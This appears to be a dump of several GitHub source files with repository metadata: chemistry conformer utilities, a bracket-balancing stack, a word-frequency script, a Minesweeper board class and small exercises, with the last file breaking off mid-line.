palíndromo!')\n","repo_name":"Allan-Orlando-Farias/trabalhando-python","sub_path":"Exercícios do curso/ex053.py","file_name":"ex053.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"25185051588","text":"from db.database import Query\nfrom models.analysis import Analysis\n\nclass AnalysisFactory:\n @staticmethod\n def find(id):\n analysis_data = AnalysisFactory.analysis_data(id)\n analysis = Analysis()\n analysis.id = id\n analysis.prepared = True\n analysis.query = analysis_data[2]\n languages = AnalysisFactory.extract_languages_from_query(analysis_data[2])\n analysis.clauses['languages'] = languages\n analysis.repo_ids = AnalysisFactory.get_repo_ids(analysis_data[2])\n return analysis\n\n @staticmethod\n def get_repo_ids(query):\n q = Query()\n repo_ids = q.query(query)\n # Flatten list\n ids = [r for repo_id in repo_ids for r in repo_id]\n # Remove duplicates\n ids = list(dict.fromkeys(ids))\n return ids\n\n @staticmethod\n def extract_languages_from_query(query):\n pgl_in = 'programming_language IN ('\n start = query.index(pgl_in) + len(pgl_in)\n split_query = query[start:]\n split_query = split_query.split(')')[0]\n languages_string = split_query.replace(\"'\", \"\")\n return languages_string.split(',')\n\n @staticmethod\n def analysis_data(id):\n q = Query()\n analysis_row = q.get(\n 'analyses',\n column='id',\n value=id\n )\n\n if len(analysis_row) == 0:\n raise AnalysisNotFound\n elif len(analysis_row) > 1:\n raise MultipleAnalysesFound\n else:\n analysis_row = analysis_row[0] # because Query.get returns a list of lists\n return analysis_row\n\nclass AnalysisNotFound(Exception):\n pass\n\nclass MultipleAnalysesFound(Exception):\n pass\n","repo_name":"erik-whiting/OSS-security-database","sub_path":"models/analysis_factory.py","file_name":"analysis_factory.py","file_ext":"py","file_size_in_byte":1534,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"34737276644","text":"#!/usr/bin/env python\n\"\"\"\nProviding utilities for the workflow package.\n\"\"\"\nimport logging\nimport math\nimport warnings\nimport os\nimport sys\nimport re\nimport glob\nimport torch\nimport collections\nfrom collections import defaultdict, OrderedDict\nimport shutil\nfrom openbabel import openbabel as ob\nfrom openbabel import pybel\nfrom tqdm import tqdm\nfrom io import StringIO\nfrom rdkit import Chem\nfrom rdkit.Chem.rdMolDescriptors import CalcNumAtomStereoCenters\nfrom rdkit.Chem.rdMolDescriptors import CalcNumUnspecifiedAtomStereoCenters\n\n#CODATA 2018 energy conversion factor\nhartree2ev = 27.211386245988\nhartree2kcalpermol = 627.50947337481\nev2kcalpermol = 23.060547830619026\n\nlogger = logging.getLogger(\"auto3d\")\ndef guess_file_type(filename):\n \"\"\"Returns the extension for the filename\"\"\"\n assert '.' in filename\n return os.path.splitext(filename)[1][1:]\n\ndef check_input(args):\n \"\"\"\n Check the input file and give recommendations.\n\n Arguments:\n args: Arguments to auto3d.\n\n Returns:\n This function checks the format of the input file, the properties for\n each SMILES in the input file.\n \"\"\"\n print(\"Checking input file...\")\n logger.info(\"Checking input file...\")\n # logger.info(\"================================================================================\")\n # logger.info(\" Check Input\")\n # logger.info(\"================================================================================\")\n ANI_elements = {1, 6, 7, 8, 9, 16, 17}\n ANI = True\n # Check --use_gpu\n gpu_flag = args.use_gpu\n if gpu_flag:\n if torch.cuda.is_available() == False:\n sys.exit(\"No cuda device was detected. Please set --use_gpu=False.\")\n # Check the availability of omega\n # if \"OE_LICENSE\" not in os.environ:\n # warnings.warn(\"OpenEye software license is not detected. Please use RDKit for your program where applicable.\")\n isomer_engine = args.isomer_engine\n if (\"OE_LICENSE\" not in os.environ) and (isomer_engine == \"omega\"):\n sys.exit(\"Omega is used as the isomer engine, but OE_LICENSE is not detected. Please use rdkit.\")\n\n # Check the installation for open toolkits, torchani\n if args.isomer_engine == \"omega\":\n try:\n from openeye import oechem\n except:\n sys.exit(\"Omega is used as isomer engine, but openeye toolkits are not installed.\")\n \n if args.optimizing_engine == \"ANI2x\":\n try:\n import torchani\n except:\n sys.exit(\"ANI2x is used as optimizing engine, but TorchANI is not installed.\")\n\n if args.optimizing_engine == \"ANI2xt\":\n try:\n from torchani.repulsion import StandaloneRepulsionCalculator\n except:\n sys.exit(\"ANI2xt is used as optimizing engine, but TorchANI with repulsion calculator is not installed.\")\n\n if int(args.opt_steps) < 10:\n sys.exit(f\"Number of optimization steps cannot be smaller than 10, but received {args.opt_steps}\")\n\n # Check the input format\n smiles_all = []\n with open(args.path, 'r') as f:\n data = f.readlines()\n for line in data:\n smiles, id = tuple(line.strip().split())\n assert len(smiles) > 0, \\\n \"Empty SMILES string\"\n assert len(id) > 0, \\\n \"Empty ID\"\n assert \"_\" not in id, \\\n f\"Sorry, SMILES ID cannot contain underscore: {smiles}\"\n smiles_all.append(smiles)\n print(f\"\\tThere are {len(data)} SMILES in the input file {args.path}. \")\n print(\"\\tAll SMILES and IDs are valid.\")\n logger.info(f\"\\tThere are {len(data)} SMILES in the input file {args.path}. \\n\\tAll SMILES and IDs are valid.\")\n\n # Check number of unspecified atomic stereo center\n if args.enumerate_isomer == False:\n for smiles in smiles_all:\n c = CalcNumUnspecifiedAtomStereoCenters(Chem.MolFromSmiles(smiles))\n if c > 0:\n msg = f\"{smiles} contains unspecified atomic stereo centers, but enumerate_isomer=False. Please use cis_tras=True so that Auto3D can enumerate the unspecified atomic stereo centers.\"\n warnings.warn(msg, UserWarning)\n\n # Check the properties of molecules\n only_aimnet_smiles = []\n for smiles in smiles_all:\n mol = Chem.MolFromSmiles(smiles)\n charge = Chem.rdmolops.GetFormalCharge(mol)\n elements = set([a.GetAtomicNum() for a in mol.GetAtoms()])\n if ((elements.issubset(ANI_elements) is False) or (charge != 0)):\n ANI = False\n only_aimnet_smiles.append(smiles)\n\n print(\"Suggestions for choosing isomer_engine and optimizing_engine: \")\n logger.info(f\"Suggestions for choosing isomer_engine and optimizing_engine: \")\n if ANI:\n print(\"\\tIsomer engine options: RDKit and Omega.\\n\"\n \"\\tOptimizing engine options: ANI2x, ANI2xt and AIMNET.\")\n logger.info(\"\\tIsomer engine options: RDKit and Omega.\")\n logger.info(\"\\tOptimizing engine options: ANI2x, ANI2xt and AIMNET.\")\n else:\n print(\"\\tIsomer engine options: RDKit and Omega.\\n\"\n \"\\tOptimizing engine options: AIMNET.\")\n logger.info(\"\\tIsomer engine options: RDKit and Omega.\")\n logger.info(\"\\tOptimizing engine options: AIMNET.\")\n optimizing_engine = args.optimizing_engine\n if optimizing_engine != \"AIMNET\":\n sys.exit(f\"Only AIMNET can handle: {only_aimnet_smiles}, but {optimizing_engine} was parsed to Auto3D.\")\n logger.critical(f\"Only AIMNET can handle: {only_aimnet_smiles}, but {optimizing_engine} was parsed to Auto3D.\")\n\n\nclass NullIO(StringIO):\n \"\"\"\n Place holder for a clean terminal\n \"\"\"\n def write(self, txt):\n pass\n\ndef countXYZ(xyz):\n \"\"\"Counting the number of structures in XYZ file\"\"\"\n c = 0\n for _ in pybel.readfile('xyz', xyz):\n c += 1\n return c\n\ndef countSDF(sdf):\n \"\"\"Counting the number of structures in SDF file\"\"\"\n mols = pybel.readfile('sdf', sdf)\n mols2 = [mol for mol in mols]\n c = len(mols2)\n return c\n\ndef hash_enumerated_smi_IDs(smi, out):\n '''\n Writes all SMILES with hashed IDs into smiles_enumerated_hashed.smi\n\n Arguments:\n smi: a .smi File path\n out: the path for the new .smi file where original IDs are hashed.\n Returns:\n writes all SMILES with hashed IDs into smiles_enumerated_hashed.smi\n '''\n with open(smi, 'r') as f:\n data = f.readlines()\n\n dict0 = {}\n for line in data:\n smiles, id = line.strip().split()\n while (id in dict0.keys()):\n id += '_0'\n dict0[id] = smiles\n\n dict0 = collections.OrderedDict(sorted(dict0.items()))\n\n new_smi = out\n with open(new_smi, 'w+') as f:\n for id, smiles in dict0.items():\n molecule = smiles.strip() + ' ' + id.strip() + '\\n'\n f.write(molecule)\n\ndef hash_taut_smi(smi, out):\n '''\n Writes all SMILES with hashed IDs for tautomers\n\n Arguments:\n smi: a .smi File path\n out: the path for the new .smi file where original IDs are hashed.\n '''\n with open(smi, 'r') as f:\n data = f.readlines()\n\n dict0 = {}\n for line in data:\n smiles, id = line.strip().split()\n c = 1\n id_ = id\n while (('taut' not in id_) or (id_ in dict0.keys())):\n id_ = id + f\"@taut{c}\"\n c += 1\n dict0[id_] = smiles\n\n dict0 = collections.OrderedDict(sorted(dict0.items()))\n\n with open(out, 'w+') as f:\n for id, smiles in dict0.items():\n molecule = smiles.strip() + ' ' + id.strip() + '\\n'\n f.write(molecule)\n\n\ndef sort_helper(mol):\n '''\n Converting the pybel mol object into an array containing\n atomic number and coordinates.\n '''\n num2symbol = {1: 'H', 6: 'C', 8: 'O', 7: 'N', 9: 'F', 16: 'S', 17: 'Cl'}\n unit = []\n for atom in mol.atoms:\n num = atom.atomicnum\n symbol = num2symbol[num]\n x, y, z = atom.coords\n symbol_coord = [symbol, x, y, z]\n unit.append(symbol_coord)\n return unit\n\n\ndef sort_enumerated_xyz(xyz, out):\n '''\n Sort an xyz file based on the IDs of SMILES in the input file.\n\n Arguments:\n xyz: the input xyz file.\n out: the path for the sorted xyz file\n Returns:\n writes the sorted molecules into out.\n '''\n dict0 = {}\n mols = pybel.readfile('xyz', xyz)\n for mol in tqdm(mols):\n id = str(mol).strip().split('\\t')[1].strip()\n unit = sort_helper(mol)\n dict0[id] = unit\n dict0 = collections.OrderedDict(sorted(dict0.items()))\n\n # new_xyz = out[:-4] + '_ordered.xyz'\n with open(out, 'w+') as f:\n for id, unit in dict0.items():\n length = str(len(unit)) + '\\n'\n id = id.strip() + '\\n'\n f.write(length)\n f.write(id)\n for line in unit:\n s, x, y, z = line\n atom = (str(s).strip() + '\\t' + str(x) + '\\t' +\n str(y) + '\\t' + str(z) + '\\n')\n f.write(atom)\n\ndef sort_enumerated_sdf(sdf, out):\n \"\"\"\n Sort an SDF file based on the IDs of SMILES in the input file.\n\n Arguments:\n sdf: the input SDF file.\n out: the path for the sorted SDF file\n Returns:\n writes the sorted molecules into out.\n \"\"\"\n dict0 = {}\n \n mols = pybel.readfile('sdf', sdf)\n for mol in mols:\n idx = str(mol).split('\\t')[1].strip().split(' ')[0].strip()\n mol.data['ID'] = idx\n dict0[idx] = mol\n dict0 = collections.OrderedDict(sorted(dict0.items()))\n \n f = pybel.Outputfile('sdf', out)\n for idx, mol in dict0.items():\n f.write(mol)\n f.close()\n\ndef combine_xyz(in_folder, out_path):\n \"\"\"\n Combining all xyz files in the in_folder into a single xyz file (out_path).\n\n Arguemnts:\n in_folder: a folder contains all xyz files.\n out_path: a path of xyz file to store every structure in the in_folder\n\n Returns:\n Combining all xyz files in the in_folder into out_path.\n \"\"\"\n file_paths = os.path.join(f\"{in_folder}/*.xyz\")\n files = glob.glob(file_paths)\n # print(f'There are {len(files)} single xyz files...')\n\n results = []\n for file in files:\n with open(file, 'r') as f:\n data = f.readlines()\n assert(len(data) == (int(data[0]) + 2))\n results += data\n\n with open(out_path, 'w+') as f:\n for line in results:\n f.write(line)\n # print(f'Combined in a singl file {out_path}!')\n\ndef combine_smi(smies, out):\n \"\"\"Combine smi files into a single file\"\"\"\n data = []\n for smi in smies:\n with open(smi, 'r') as f:\n datai = f.readlines()\n data += datai\n data = list(set(data))\n with open(out, 'w+') as f2:\n for line in data:\n if not line.isspace():\n f2.write((line.strip() + '\\n'))\n\n\ndef housekeeping_helper(folder, file):\n basename = os.path.basename(file)\n new_name = os.path.join(folder, basename)\n shutil.move(file, new_name)\n\n\ndef housekeeping(job_name, folder, optimized_structures):\n \"\"\"\n Moving all meta data into a folder\n\n Arguments:\n folder: a folder name to contain all meta data\n out: the resulting SDF output\n Returns:\n whe the function is called, it moves all meta data into a folder.\n \"\"\"\n paths = os.path.join(job_name, '*')\n files = glob.glob(paths)\n for file in files:\n if file != optimized_structures:\n shutil.move(file, folder)\n\n try:\n paths1 = os.path.join('', 'oeomega_*')\n files1 = glob.glob(paths1)\n paths2 = os.path.join('', 'flipper_*')\n files2 = glob.glob(paths2)\n files = files1 + files2\n for file in files:\n shutil.move(file, folder)\n except:\n pass\n\ndef enantiomer(l1, l2):\n \"\"\"Check if two lists of stereo centers are enantiomers\"\"\"\n indicator = True\n assert (len(l1) == len(l2))\n for i in range(len(l1)):\n tp1 = l1[i]\n tp2 = l2[i]\n idx1, stereo1 = tp1\n idx2, stereo2 = tp2\n assert(idx1 == idx2)\n if (stereo1 == stereo2):\n indicator = False\n return indicator\n return indicator\n \n\ndef enantiomer_helper(smiles):\n \"\"\"get non-enantiomer SMILES from given smiles\"\"\"\n mols = [Chem.MolFromSmiles(smi) for smi in smiles]\n stereo_centers = [Chem.FindMolChiralCenters(mol, useLegacyImplementation=False) for mol in mols]\n non_enantiomers = []\n non_centers = []\n for i in range(len(stereo_centers)):\n smi = smiles[i]\n stereo = stereo_centers[i]\n indicator = True\n for j in range(len(non_centers)):\n stereo_j = non_centers[j]\n if enantiomer(stereo_j, stereo):\n indicator = False\n if indicator:\n non_centers.append(stereo)\n non_enantiomers.append(smi)\n return non_enantiomers\n \n\ndef remove_enantiomers(inpath, out):\n \"\"\"Removing enantiomers for the input file\n Arguments:\n inpath: input smi\n output: output smi\n \"\"\"\n with open(inpath, 'r') as f:\n data = f.readlines()\n \n smiles = defaultdict(lambda: [])\n for line in data:\n vals = line.split()\n smi, name = vals[0].strip(), vals[1].strip().split(\"_\")[0].strip()\n smiles[name].append(smi)\n\n for key, values in smiles.items():\n try:\n new_values = enantiomer_helper(values)\n except:\n new_values = values\n print(f\"Enantiomers not removed for {key}\")\n logger.info(f\"Enantiomers not removed for {key}\")\n \n smiles[key] = new_values\n \n with open(out, 'w+') as f:\n for key, val in smiles.items():\n for i in range(len(val)):\n new_key = key + \"_\" + str(i)\n line = val[i].strip() + ' ' + new_key + '\\n'\n f.write(line)\n return smiles\n\ndef atomType(mol, atomIdx):\n \"\"\"get the atomic type given an atom index, both in pybel mol object\"\"\"\n atom_num = mol.OBMol.GetAtom(atomIdx).GetAtomicNum()\n return atom_num\n\n\ndef check_bonds(mol):\n \"\"\"Check if a pybel mol object has valid bond lengths\"\"\"\n # Initialize UFF bond radii (Rappe et al. JACS 1992)\n # Units of angstroms \n # These radii neglect the bond-order and electronegativity corrections in the original paper. Where several values exist for the same atom, the largest was used. \n Radii = {1:0.354, \n 5:0.838, 6:0.757, 7:0.700, 8:0.658, 9:0.668,\n 14:1.117, 15:1.117, 16:1.064, 17:1.044,\n 32: 1.197, 33:1.211, 34:1.190, 35:1.192,\n 51:1.407, 52:1.386, 53:1.382}\n\n for bond in ob.OBMolBondIter(mol.OBMol):\n length = bond.GetLength()\n begin = atomType(mol, bond.GetBeginAtomIdx())\n end = atomType(mol, bond.GetEndAtomIdx())\n reference_length = (Radii[begin] + Radii[end]) * 1.25\n if length > reference_length:\n return False\n return True\n\n\ndef filter_unique(mols, crit=0.3):\n \"\"\"Remove structures that are very similar.\n Remove unconverged structures.\n \n Arguments:\n mols: pybel mol objects\n Returns:\n unique_mols: unique molecules\n \"\"\"\n\n #Remove unconverged structures\n mols_ = []\n for mol in mols:\n convergence_flag = str(mol.data['Converged']).lower() == \"true\"\n has_valid_bonds = check_bonds(mol)\n if convergence_flag and has_valid_bonds:\n mols_.append(mol)\n mols = mols_\n\n #Remove similar structures\n unique_mols = []\n aligner = pybel.ob.OBAlign()\n for mol_i in mols:\n aligner.SetRefMol(mol_i.OBMol)\n unique = True\n for mol_j in unique_mols:\n aligner.SetTargetMol(mol_j.OBMol)\n aligner.Align()\n rmsd = aligner.GetRMSD()\n if rmsd < crit:\n unique = False\n break\n if unique:\n unique_mols.append(mol_i)\n return unique_mols\n\n\ndef unique_conformers(files, crit=0.5):\n \"\"\"Removing conformers whose RMSD is within crit\n \n Arguments:\n files: sdf files\n \"\"\"\n unique_files = []\n duplicate_files = []\n aligner = pybel.ob.OBAlign()\n for file in files:\n mol = next(pybel.readfile(\"sdf\", file))\n aligner.SetRefMol(mol.OBMol)\n unique = True\n for f in unique_files:\n mol_j = next(pybel.readfile(\"sdf\", f))\n aligner.SetTargetMol(mol_j.OBMol)\n aligner.Align()\n rmsd = aligner.GetRMSD()\n if rmsd < crit:\n unique = False\n break\n if unique:\n unique_files.append(file)\n else:\n duplicate_files.append(file)\n c = len(unique_files) + len(duplicate_files)\n assert(c == len(files))\n for file in duplicate_files:\n os.remove(file)\n\ndef sort_output(mols, out):\n \"\"\"Sort molecules based on energies\n \n Arguments:\n mols: a list of pybel mol objects\n out: a SDF file to store the molecules\n \"\"\"\n l = []\n for mol in mols:\n name = mol.data['ID'].split('_')[0].strip()\n e = mol.data['E_tot']\n e_rel = mol.data['E_relative']\n\n l.append((name, e_rel, mol))\n\n l = sorted(l)\n\n f = pybel.Outputfile('sdf', out)\n for n_er_m in l:\n name, e_relative, mol = n_er_m\n f.write(mol)\n f.close()\n\ndef no_enantiomer_helper(info1, info2):\n \"\"\"Return true if info1 and info2 are enantiomers\"\"\"\n assert (len(info1) == len(info2))\n for i in range(len(info1)):\n if info1[i].strip() == info2[i].strip():\n return False\n return True\n\ndef get_stereo_info(smi):\n \"Return a dictionary of @@ or @ in smi\"\n dct = {}\n regex1 = re.compile(\"[^@]@[^@]\")\n regex2 = re.compile(\"@@\")\n\n # match @\n for m in regex1.finditer(smi):\n dct[m.start()+1] = '@'\n\n #match @@\n for m in regex2.finditer(smi):\n dct[m.start()] = \"@@\"\n\n dct2 = OrderedDict(sorted(dct.items()))\n return dct2\n\n\ndef no_enantiomer(smi, smiles):\n \"\"\"Return True if there is no enantiomer for smi in smiles\"\"\"\n\n stereo_infoi = list(get_stereo_info(smi).values())\n for i in range(len(smiles)):\n tar = smiles[i]\n if tar != smi:\n stereo_infoj = list(get_stereo_info(tar).values())\n if no_enantiomer_helper(stereo_infoi, stereo_infoj):\n return False\n return True\n\ndef create_enantiomer(smi):\n \"\"\"Create an enantiomer SMILES for input smi\"\"\"\n stereo_info = get_stereo_info(smi)\n new_smi = \"\"\n # for key in stereo_info.keys():\n # val = stereo_info[key]\n # if val == '@':\n keys = list(stereo_info.keys())\n if len(keys) == 1:\n key = keys[0]\n val = stereo_info[key]\n if val == \"@\":\n new_smi += smi[:key]\n new_smi += \"@@\"\n new_smi += smi[(key+1):]\n elif val == \"@@\":\n new_smi += smi[:key]\n new_smi += \"@\"\n new_smi += smi[(key+2):]\n else:\n raise ValueError(\"Invalid %s\" % smi)\n return new_smi\n\n for i in range(len(keys)):\n if i == 0:\n key = keys[i]\n new_smi += smi[:key]\n else:\n key1 = keys[i-1]\n key2 = keys[i]\n val1 = stereo_info[key1]\n if val1 == \"@\":\n new_smi += \"@@\"\n new_smi += smi[int(key1+1): key2]\n elif val1 == \"@@\":\n new_smi += \"@\"\n new_smi += smi[int(key1+2): key2]\n val2 = stereo_info[key2]\n if val2 == \"@\":\n new_smi += \"@@\"\n new_smi += smi[int(key2+1):]\n elif val2 == \"@@\":\n new_smi += \"@\"\n new_smi += smi[int(key2+2):]\n return new_smi\n\ndef check_value(n):\n \"\"\"Return True if n is a power of 2. 2^-2 and 2^-1 should be accessible,\n because not all stereo centers can be enumerated. For example: CC12CCC(C1)C(C)(C)C2O\"\"\"\n \n power = math.log(n, 2)\n decimal, integer = math.modf(power)\n i = abs(power - integer)\n if (i < 0.0001):\n return True\n return False\n\ndef amend_configuration(smis):\n \"\"\"Adding the missing configurations. \n Example: N=C1OC(CN2CC(C)OC(C)C2)CN1\"\"\"\n\n with open(smis, 'r') as f:\n data = f.readlines()\n dct = defaultdict(lambda: [])\n for line in data:\n smi, idx = tuple(line.strip().split())\n idx = idx.split(\"_\")[0].strip()\n dct[idx].append(smi)\n \n for key in dct.keys():\n value = dct[key]\n smi = value[0]\n mol = Chem.MolFromSmiles(smi)\n num_centers = CalcNumAtomStereoCenters(mol)\n num_unspecified_centers = CalcNumUnspecifiedAtomStereoCenters(mol)\n # num_configurations = 2 ** num_unspecified_centers\n num_configurations = 2 ** num_centers\n num = len(value)/num_configurations\n\n if ((check_value(num) == False) and (\"@\" in smi)): # Missing configurations\n try:\n new_value = []\n for val in value:\n if no_enantiomer(val, value):\n new_val = create_enantiomer(val)\n new_value.append(new_val)\n value += new_value\n \n # assert \n new_num = len(value)/num_configurations\n assert (check_value(new_num) == True)\n dct[key] = value\n except:\n print(f\"Stereo centers for {key} are not fully enumerated.\")\n logger.info(f\"Stereo centers for {key} are not fully enumerated.\")\n return dct\n\ndef amend_configuration_w(smi):\n \"\"\"Write the output from dictionary\"\"\"\n dct = amend_configuration(smi)\n with open(smi, 'w+') as f:\n for key in dct.keys():\n val = dct[key]\n for i, smi in enumerate(val):\n idx = str(key).strip() + \"_\" + str(i+1)\n line = smi + ' ' + idx + '\\n'\n f.write(line)\n\n\ndef is_macrocycle(smi, size=10):\n \"\"\"Check is a SMIELS is contains a macrocycle part (a 10-membered or larger \n ring regardless of their aromaticity and hetero atoms content)\"\"\"\n mol = Chem.MolFromSmiles(smi)\n ring = mol.GetRingInfo()\n ring_bonds = ring.BondRings()\n for bonds in ring_bonds:\n if len(bonds) >= 10:\n return True\n return False\n\n\ndef split_smi(smi):\n \"\"\"Split an input .smi file into two files:\n one contains small SMILES, the other contain macrocycle smiles\n \"\"\"\n #Prepare out file path\n dir = os.path.dirname(os.path.realpath(smi))\n basename = os.path.basename(smi)\n normal_name = basename.split(\".\")[0].strip() + \"_normal.smi\"\n macrocycle_name = basename.split(\".\")[0].strip() + \"_macrocycle.smi\"\n normal_path = os.path.join(dir, normal_name)\n macrocycle_path = os.path.join(dir, macrocycle_name)\n\n normal = []\n macrocycle = []\n with open(smi, \"r\") as f:\n data = f.readlines()\n for line in tqdm(data):\n smi_idx = line.strip().split()\n smi = smi_idx[0]\n if is_macrocycle(smi):\n macrocycle.append(line)\n else:\n normal.append(line)\n \n l_ = len(normal) + len(macrocycle)\n l = len(data)\n assert(l == l_)\n\n with open(normal_path, \"w+\") as f:\n for line in normal:\n f.write(line)\n\n with open(macrocycle_path, \"w+\") as f:\n for line in macrocycle:\n f.write(line)\n\n\nclass my_name_space(dict):\n \"\"\"A modified dictionary whose keys can be accessed via dot. This dict is\n similar to a NameSpace object from parser.\n \"\"\"\n def __getattr__(self, key):\n try:\n return self[key]\n except KeyError as k:\n raise AttributeError(k)\n\n def __setattr__(self, key, value):\n self[key] = value\n\n def __delattr__(self, key):\n try:\n del self[key]\n except KeyError as k:\n raise AttributeError(k)\n\n def __repr__(self):\n return ''\n","repo_name":"edenspec2/conformers_project","sub_path":"python_code/random code/auto3d_utils.py","file_name":"auto3d_utils.py","file_ext":"py","file_size_in_byte":24090,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"28925488522","text":"open_brackets = ['[', '{', '(']\nclose_brackets = [']', '}', ')']\nbalanced_brackets = ['[]', '{}', '()']\n\n\nclass Stack():\n my_stack = []\n\n def __init__(self, my_stack):\n self.my_stack = []\n\n def isEmpty(self):\n \"\"\"\n Метод проверки стэка на пустоту\n\n :return: Метод возвращает True или False.\n \"\"\"\n if self.my_stack == []:\n return True\n else:\n return False\n\n def push(self, new_element):\n \"\"\"\n Методо добавления нового элемента в стэк\n\n :return: Метод ничего не возвращает.\n \"\"\"\n self.my_stack.append(new_element)\n return\n\n def pop(self):\n \"\"\"\n Метод удаления верхнего элемента стэка.\n\n :return: Метод возвращает верхний элемент стэка, стэк изменяется\n \"\"\"\n deleted_element = self.my_stack.pop(-1)\n return deleted_element\n\n def peek(self):\n \"\"\"\n Метод возвращения верхнего верхнего элемента стэка.\n\n :return: Метод возвращает верхний элемент стека, стэк не меняется\n \"\"\"\n top_element = self.my_stack[-1]\n return top_element\n\n def size(self):\n \"\"\"\n Метод возвращения количества элементов стэка.\n\n :return: Метод возвращает количество элементов стэка\n \"\"\"\n len_stack = len(self.my_stack)\n return len_stack\n\n\ndef inp_string():\n \"\"\"\n Функция пользовательского ввода строки\n\n :return: Строка, введенная пользователем\n \"\"\"\n bracket_string = input('Введите строку со скобками: ')\n return bracket_string\n\n\ndef check_string(bracket_string):\n \"\"\"\n Функция проверки строки на содержение скобки\n\n :param bracket_string: строка для проверки на наличие скобки\n :return: Строка с ответом: содержит или не содержит\n \"\"\"\n for letter in bracket_string:\n if letter in open_brackets or letter in close_brackets:\n check_result = 'Строка содержит одну или более скобок'\n return check_result\n check_result = 'Строка не содержит скобок'\n return check_result\n\n\ndef check_bracket_balance(bracket_string):\n \"\"\"\n Функция проверки строки со скобками на сбалансированность скобок\n\n :param bracket_string: Строка со скобками\n :return: Строка с ответом: сбалансированы скобки либо нет\n \"\"\"\n my_class = Stack\n for simbol in bracket_string:\n if simbol in open_brackets:\n my_class.push(my_class, simbol)\n elif simbol in close_brackets and not my_class.isEmpty(my_class):\n unknown_brackets = my_class.pop(my_class) + simbol\n if str(unknown_brackets) not in balanced_brackets:\n result = 'Скобки не сбалансированы'\n return result\n elif simbol in close_brackets and my_class.isEmpty(my_class):\n result = 'Скобки не сбалансированы'\n return result\n if not my_class.isEmpty(my_class):\n result = 'Скобки не сбалансированы'\n return result\n result = 'Скобки сбалансированы'\n return result\n","repo_name":"ilyava1/ClassStack","sub_path":"service_module.py","file_name":"service_module.py","file_ext":"py","file_size_in_byte":3829,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70134978154","text":"import argparse\n\n\ndef _my_divmod(x, y):\n q, r = divmod(x, y)\n return (q, r) if r else (q - 1, y)\n\n\ndef _divide(number, basis):\n if number:\n while number:\n number, remainder = _my_divmod(number, basis)\n yield remainder\n else:\n yield 0\n\n\ndef main(*, alphabet: str, **kwargs):\n alphabet = \"ε\" + alphabet\n try:\n code = int(input(\"Type the number you wish to decode: \").strip())\n if code < 0:\n raise ValueError(\"Code should be unsigned\")\n except ValueError as e:\n raise ValueError(\"Please input an unsigned integer\") from e\n\n return \"\".join(reversed([alphabet[i] for i in _divide(code, len(alphabet) - 1)]))\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\n '--alphabet',\n required=True\n )\n\n print(main(**vars(parser.parse_args())))\n","repo_name":"enaskopelja/izracunljivost","sub_path":"Σ*_encoder_decoder/decode.py","file_name":"decode.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15366764011","text":"import turtle\n##全局变量##\n#词频排列显示个数\ncout=10\n#单词频率组数-作为y轴数据\ndata=[]\n#y轴显示凡达倍数-可以根据词频数量进行调节\nyScale=6\n#x轴显示放大倍数-可以根据count数量进行调节\nxScale=30\n\n#######Turtle Start######\n#######Turtle End######\n#对文本的每一个计算词频的函数\ndef processLine(line,worldCounts):\n #用空格替换标点符号\n line=replacePunctuations(line)\n #从每一行获取每个词\n words=line.split()\n for word in words:\n if word in wordCounts:\n wordCouts[word]+=1\n else:\n worCounts[word]=1\n#空格替换标点函数\ndef replacePunctuations(line):\n for ch in line:\n if ch in \"~@#$%^&*()_-+=<>?/,.:{}[]\\'\"\"\":\n line=line.replace(ch,\" \")\n return line\ndef main():\n #用户输入一个文件名\n filename=input(\"enter a filename:\").strip()\n infile=open(filename,\"r\")\n #建立用于技术的空字典\n wordCounts={}\n for line in infile:\n processLine(line.lower(),wordCounts)\n #从字典中获取数据对\n pairs=list(wordCounts.items())\n #列表中的数据对交换位置,数据对排序\n items=[[x,y]for(y,x)in pairs]\n items,sort()\n #输出count个数词频结果\n for i in range(len(items)-1,len(item)-count-1,-1):\n print(intems[i][1]+\"\\t\"+str(items[i][0]))\n data.append(items[i][0])\n words.append(items[i][1])\n infile.close()\n#调用main()函数\nif __name___=='__main__':\n main()\n","repo_name":"zyczzh/python-study-from-mooc","sub_path":"Python语言程序设计基础/week 6/homework 3/哈姆雷特词频分析.py","file_name":"哈姆雷特词频分析.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"10253404967","text":"import random\n\n\nclass Board:\n\n def __init__(self, width, height, numMines):\n self.spots = [[0 for i in range(width)] for j in range(height)]\n self.numMines = numMines\n self.height = height\n self.width = width\n\n def createBoard(self, startingX, startingY):\n minesPlaced = 0\n while (minesPlaced < self.numMines):\n #for i in range(0, 10):\n randX = random.randrange(0, self.width-1)\n randY = random.randrange(0, self.height-1)\n notAdjacentX = (randX - startingX) > 1 or (randX - startingX) < -1\n notAdjacentY = (randY - startingY) > 1 or (randY - startingY) < -1\n notAdjacent = notAdjacentX or notAdjacentY\n if (self.spots[randX][randY] == 0) and notAdjacent:\n self.spots[randX][randY] = 1\n minesPlaced += 1\n self.makeMove(startingX, startingY)\n\n def checkValid(self, x, y):\n validX = (x >= 0) and (x < self.width)\n validY = (y >= 0) and (y < self.height)\n #notPlayed = self.spots[x][y] == 0\n return validX and validY #and notPlayed\n \n def checkAdjacent(self, x, y):\n numAdjacent = 0\n for i in range(x-1, x+1):\n for j in range(y-1, y+1):\n if (self.spots[i][j] == 1):\n numAdjacent += 1\n return numAdjacent\n \n def makeMove(self, x, y):\n if self.checkValid(x, y):\n print (self.spots[x][y])\n value = self.spots[x][y]\n if (value == 0):\n value = self.checkAdjacent(x, y) + 2\n self.spots = value\n if (value == 2):\n for i in range(x-1, x+1):\n for j in range(y-1, y+1):\n break\n #self.makeMove(i, j)\n return value\n \n def revealBoard(self):\n for i in range(0, self.width):\n for j in range(0, self.height):\n if (self.spots[i][j] == 0):\n self.makeMove(i, 